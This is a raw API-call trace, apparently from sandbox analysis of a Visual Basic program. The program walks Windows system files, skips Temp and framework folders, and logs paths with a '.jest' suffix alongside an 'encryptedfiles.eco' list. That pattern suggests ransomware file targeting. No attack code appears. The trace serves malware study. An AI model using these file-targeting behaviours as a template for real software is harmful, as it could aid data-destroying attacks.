0x1150d69 [0120.651] GetTickCount () returned 0x1150d69 [0120.651] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.651] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.651] GetTickCount () returned 0x1150d69 [0120.651] IsWindowVisible (hWnd=0x30268) returned 0 [0120.651] Sleep (dwMilliseconds=0x0) [0120.653] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.653] GetTickCount () returned 0x1150d69 [0120.653] GetTickCount () returned 0x1150d69 [0120.653] GetTickCount () returned 0x1150d69 [0120.653] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.653] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.653] GetTickCount () returned 0x1150d69 [0120.653] IsWindowVisible (hWnd=0x30268) returned 0 [0120.653] Sleep (dwMilliseconds=0x0) [0120.655] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.655] GetTickCount () returned 0x1150d69 [0120.655] GetTickCount () returned 0x1150d69 [0120.655] GetTickCount () returned 0x1150d69 [0120.655] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.655] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.655] GetTickCount () returned 0x1150d69 [0120.655] IsWindowVisible (hWnd=0x30268) returned 0 [0120.655] Sleep (dwMilliseconds=0x0) [0120.657] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.657] GetTickCount () returned 0x1150d69 [0120.657] GetTickCount () returned 0x1150d69 [0120.657] GetTickCount () returned 0x1150d69 [0120.657] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.658] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.658] GetTickCount () returned 0x1150d69 [0120.658] IsWindowVisible (hWnd=0x30268) returned 0 [0120.658] Sleep (dwMilliseconds=0x0) [0120.659] lstrcpynW (in: lpString1=0x14da7ec, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.660] lstrcpynW (in: lpString1=0x14da79c, lpString2="InkDiv.dllP", iMaxLength=11 | out: lpString1="InkDiv.dll") returned="InkDiv.dll" [0120.660] lstrcpynW (in: lpString1=0x14da7ec, lpString2="InkObj.dllX", iMaxLength=11 | out: lpString1="InkObj.dll") returned="InkObj.dll" [0120.660] lstrcpynW (in: lpString1=0x14da79c, lpString2="IpsPlugin.dll", iMaxLength=14 | out: lpString1="IpsPlugin.dll") returned="IpsPlugin.dll" [0120.660] lstrcpynW (in: lpString1=0x14da7ec, lpString2="journal.dll", iMaxLength=12 | out: lpString1="journal.dll") returned="journal.dll" [0120.660] lstrcpynW (in: lpString1=0x14b4aac, lpString2="Microsoft.Ink.dll", iMaxLength=18 | out: lpString1="Microsoft.Ink.dll") returned="Microsoft.Ink.dll" [0120.660] lstrcpynW (in: lpString1=0x14da79c, lpString2="mshwgst.dll", iMaxLength=12 | out: lpString1="mshwgst.dll") returned="mshwgst.dll" [0120.660] lstrcpynW (in: lpString1=0x14da7c4, lpString2="rtscom.dllİ", iMaxLength=11 | out: lpString1="rtscom.dll") returned="rtscom.dll" [0120.660] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_tabskb.dll_5eab4bf3", iMaxLength=120 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_tabskb.dll_5eab4bf3") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_tabskb.dll_5eab4bf3" [0120.661] lstrcpynW (in: lpString1=0x14da79c, lpString2="tabskb.dllX", iMaxLength=11 | out: lpString1="tabskb.dll") returned="tabskb.dll" [0120.661] lstrcpynW (in: lpString1=0x142fffc, lpString2="tipresx.dll", iMaxLength=12 | out: lpString1="tipresx.dll") returned="tipresx.dll" [0120.661] lstrcpynW (in: lpString1=0x14da79c, lpString2="tpcps.dll", iMaxLength=10 | out: lpString1="tpcps.dll") returned="tpcps.dll" [0120.661] lstrcpynW (in: lpString1=0x14b4aac, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.661] lstrcpynW (in: lpString1=0x14b498c, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.661] lstrcpynW (in: lpString1=0x14b4aac, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.661] lstrcpynW (in: lpString1=0x14b498c, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.661] lstrcpynW (in: lpString1=0x14b4aac, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b498c, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b4aac, lpString2="InkObj.dll.muiX", iMaxLength=15 | out: lpString1="InkObj.dll.mui") returned="InkObj.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b498c, lpString2="rtscom.dll.muiX", iMaxLength=15 | out: lpString1="rtscom.dll.mui") returned="rtscom.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b4aac, lpString2="tabskb.dll.mui`", iMaxLength=15 | out: lpString1="tabskb.dll.mui") returned="tabskb.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b498c, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b4aac, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b498c, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.662] lstrcpynW (in: lpString1=0x14b4aac, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.663] lstrcpynW (in: lpString1=0x14b498c, lpString2="tipresx.dll.mui", iMaxLength=16 | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0120.663] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_auxpad.xml_3d50368a", iMaxLength=120 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_auxpad.xml_3d50368a") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_auxpad.xml_3d50368a" [0120.663] lstrcpynW (in: lpString1=0x142fffc, lpString2="auxpad.xmlİ", iMaxLength=11 | out: lpString1="auxpad.xml") returned="auxpad.xml" [0120.663] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="K", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.664] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.664] lstrcpynW (in: lpString1=0x144d9ac, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0120.664] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.664] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 0x4c [0120.664] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.664] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 0x4c [0120.665] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.665] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 0x4c [0120.665] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.665] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 0x4c [0120.665] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.665] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 0x4c [0120.665] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.665] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 0x4c [0120.665] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.666] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.666] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.666] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.666] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.666] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.666] IMalloc:Alloc (This=0x767666bc, cb=0xa4) returned 0x14cf418 [0120.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest\r\n", cchWideChar=82, lpMultiByteStr=0x14cf418, cbMultiByte=164, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest\r\nmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest", lpUsedDefaultChar=0x0) returned 82 [0120.666] WriteFile (in: hFile=0x2e0, lpBuffer=0x14cf418*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x14cf418*, lpNumberOfBytesWritten=0x18e6a4*=0x52, lpOverlapped=0x0) returned 1 [0120.666] IMalloc:Free (This=0x767666bc, pv=0x14cf418) [0120.666] GetCurrentProcessId () returned 0x9e0 [0120.666] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.666] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.666] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.666] GetTickCount () returned 0x1150d79 [0120.667] GetTickCount () returned 0x1150d79 [0120.667] GetTickCount () returned 0x1150d79 [0120.667] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.667] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.667] GetTickCount () returned 0x1150d79 [0120.667] IsWindowVisible (hWnd=0x30268) returned 0 [0120.667] Sleep (dwMilliseconds=0x0) [0120.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpUsedDefaultChar=0x0) returned 76 [0120.668] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFilePart=0x18e870*="auxpad.xml") returned 0x4b [0120.669] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.669] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.672] GetLastError () returned 0x5 [0120.672] GetLastError () returned 0x5 [0120.672] SetLastError (dwErrCode=0x5) [0120.672] GetLastError () returned 0x5 [0120.672] SetLastError (dwErrCode=0x5) [0120.672] GetLastError () returned 0x5 [0120.672] SetLastError (dwErrCode=0x5) [0120.673] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.674] GetLastError () returned 0x5 [0120.674] GetLastError () returned 0x5 [0120.675] SetLastError (dwErrCode=0x5) [0120.675] GetLastError () returned 0x5 [0120.675] SetLastError (dwErrCode=0x5) [0120.675] GetLastError () returned 0x5 [0120.675] SetLastError (dwErrCode=0x5) [0120.675] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.676] GetFileType (hFile=0x2c4) returned 0x1 [0120.676] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x14b25c8 [0120.676] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.676] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0120.676] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.677] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb34 | out: ppsaOut=0x18eb34) returned 0x0 [0120.677] ReadFile (in: hFile=0x2c4, lpBuffer=0x1467b40, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x18e9dc, lpOverlapped=0x0 | out: lpBuffer=0x1467b40*, lpNumberOfBytesRead=0x18e9dc*=0xd4, lpOverlapped=0x0) returned 1 [0120.678] CloseHandle (hObject=0x2c4) returned 1 [0120.678] IMalloc:Free (This=0x767666bc, pv=0x14b25c8) [0120.678] VarBstrCmp (bstrLeft="msvbvm60.dll", bstrRight="msvbvm60.dll", lcid=0x0, dwFlags=0x30001) returned 0x1 [0120.678] SafeArrayRedim (in: psa=0x14da4c0, psaboundNew=0x18e9e0 | out: psa=0x14da4c0) returned 0x0 [0120.678] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.678] GetTickCount () returned 0x1150d89 [0120.678] GetTickCount () returned 0x1150d89 [0120.678] GetTickCount () returned 0x1150d89 [0120.679] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.679] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.679] GetTickCount () returned 0x1150d89 [0120.679] IsWindowVisible (hWnd=0x30268) returned 0 [0120.679] Sleep (dwMilliseconds=0x0) [0120.683] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.683] GetTickCount () returned 0x1150d89 [0120.683] GetTickCount () returned 0x1150d89 [0120.683] GetTickCount () returned 0x1150d89 [0120.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.683] GetTickCount () returned 0x1150d89 [0120.683] IsWindowVisible (hWnd=0x30268) returned 0 [0120.683] Sleep (dwMilliseconds=0x0) [0120.687] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.687] GetTickCount () returned 0x1150d89 [0120.687] GetTickCount () returned 0x1150d89 [0120.687] GetTickCount () returned 0x1150d89 [0120.687] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.687] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.687] GetTickCount () returned 0x1150d89 [0120.688] IsWindowVisible (hWnd=0x30268) returned 0 [0120.688] Sleep (dwMilliseconds=0x0) [0120.688] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.688] GetTickCount () returned 0x1150d89 [0120.688] GetTickCount () returned 0x1150d89 [0120.688] GetTickCount () returned 0x1150d89 [0120.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.688] GetTickCount () returned 0x1150d89 [0120.689] IsWindowVisible (hWnd=0x30268) returned 0 [0120.689] Sleep (dwMilliseconds=0x0) [0120.689] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.689] GetTickCount () returned 0x1150d89 [0120.689] GetTickCount () returned 0x1150d89 [0120.689] GetTickCount () returned 0x1150d89 [0120.689] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.689] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.689] GetTickCount () returned 0x1150d89 [0120.689] IsWindowVisible (hWnd=0x30268) returned 0 [0120.689] Sleep (dwMilliseconds=0x0) [0120.689] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.689] GetTickCount () returned 0x1150d89 [0120.689] GetTickCount () returned 0x1150d89 [0120.689] GetTickCount () returned 0x1150d89 [0120.689] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.689] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.689] GetTickCount () returned 0x1150d89 [0120.690] IsWindowVisible (hWnd=0x30268) returned 0 [0120.690] Sleep (dwMilliseconds=0x0) [0120.690] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.690] GetTickCount () returned 0x1150d89 [0120.690] GetTickCount () returned 0x1150d89 [0120.690] GetTickCount () returned 0x1150d89 [0120.690] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.690] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.690] GetTickCount () returned 0x1150d89 [0120.690] IsWindowVisible (hWnd=0x30268) returned 0 [0120.690] Sleep (dwMilliseconds=0x0) [0120.690] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.690] GetTickCount () returned 0x1150d98 [0120.690] GetTickCount () returned 0x1150d98 [0120.690] GetTickCount () returned 0x1150d98 [0120.690] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.691] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.691] GetTickCount () returned 0x1150d98 [0120.691] IsWindowVisible (hWnd=0x30268) returned 0 [0120.691] Sleep (dwMilliseconds=0x0) [0120.691] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.691] GetTickCount () returned 0x1150d98 [0120.691] GetTickCount () returned 0x1150d98 [0120.691] CoFreeUnusedLibraries () [0120.691] DllCanUnloadNow () returned 0x0 [0120.691] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0120.692] FreeLibrary (hLibModule=0x77710000) returned 1 [0120.694] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0120.694] free (_Block=0x39e048) [0120.696] GetTickCount () returned 0x1150d98 [0120.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.696] GetTickCount () returned 0x1150d98 [0120.696] IsWindowVisible (hWnd=0x30268) returned 0 [0120.696] Sleep (dwMilliseconds=0x0) [0120.697] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.697] GetTickCount () returned 0x1150d98 [0120.697] GetTickCount () returned 0x1150d98 [0120.697] CoFreeUnusedLibraries () [0120.697] GetTickCount () returned 0x1150d98 [0120.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.697] GetTickCount () returned 0x1150d98 [0120.697] IsWindowVisible (hWnd=0x30268) returned 0 [0120.697] Sleep (dwMilliseconds=0x0) [0120.697] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.697] GetTickCount () returned 0x1150d98 [0120.697] GetTickCount () returned 0x1150d98 [0120.697] CoFreeUnusedLibraries () [0120.697] GetTickCount () returned 0x1150d98 [0120.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.697] GetTickCount () returned 0x1150d98 [0120.698] IsWindowVisible (hWnd=0x30268) returned 0 [0120.698] Sleep (dwMilliseconds=0x0) [0120.698] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.698] GetTickCount () returned 0x1150d98 [0120.698] GetTickCount () returned 0x1150d98 [0120.698] CoFreeUnusedLibraries () [0120.698] GetTickCount () returned 0x1150d98 [0120.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.698] GetTickCount () returned 0x1150d98 [0120.698] IsWindowVisible (hWnd=0x30268) returned 0 [0120.698] Sleep (dwMilliseconds=0x0) [0120.698] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.698] GetTickCount () returned 0x1150d98 [0120.698] GetTickCount () returned 0x1150d98 [0120.698] CoFreeUnusedLibraries () [0120.698] GetTickCount () returned 0x1150d98 [0120.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.698] GetTickCount () returned 0x1150d98 [0120.699] IsWindowVisible (hWnd=0x30268) returned 0 [0120.699] Sleep (dwMilliseconds=0x0) [0120.699] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.699] GetTickCount () returned 0x1150d98 [0120.699] GetTickCount () returned 0x1150d98 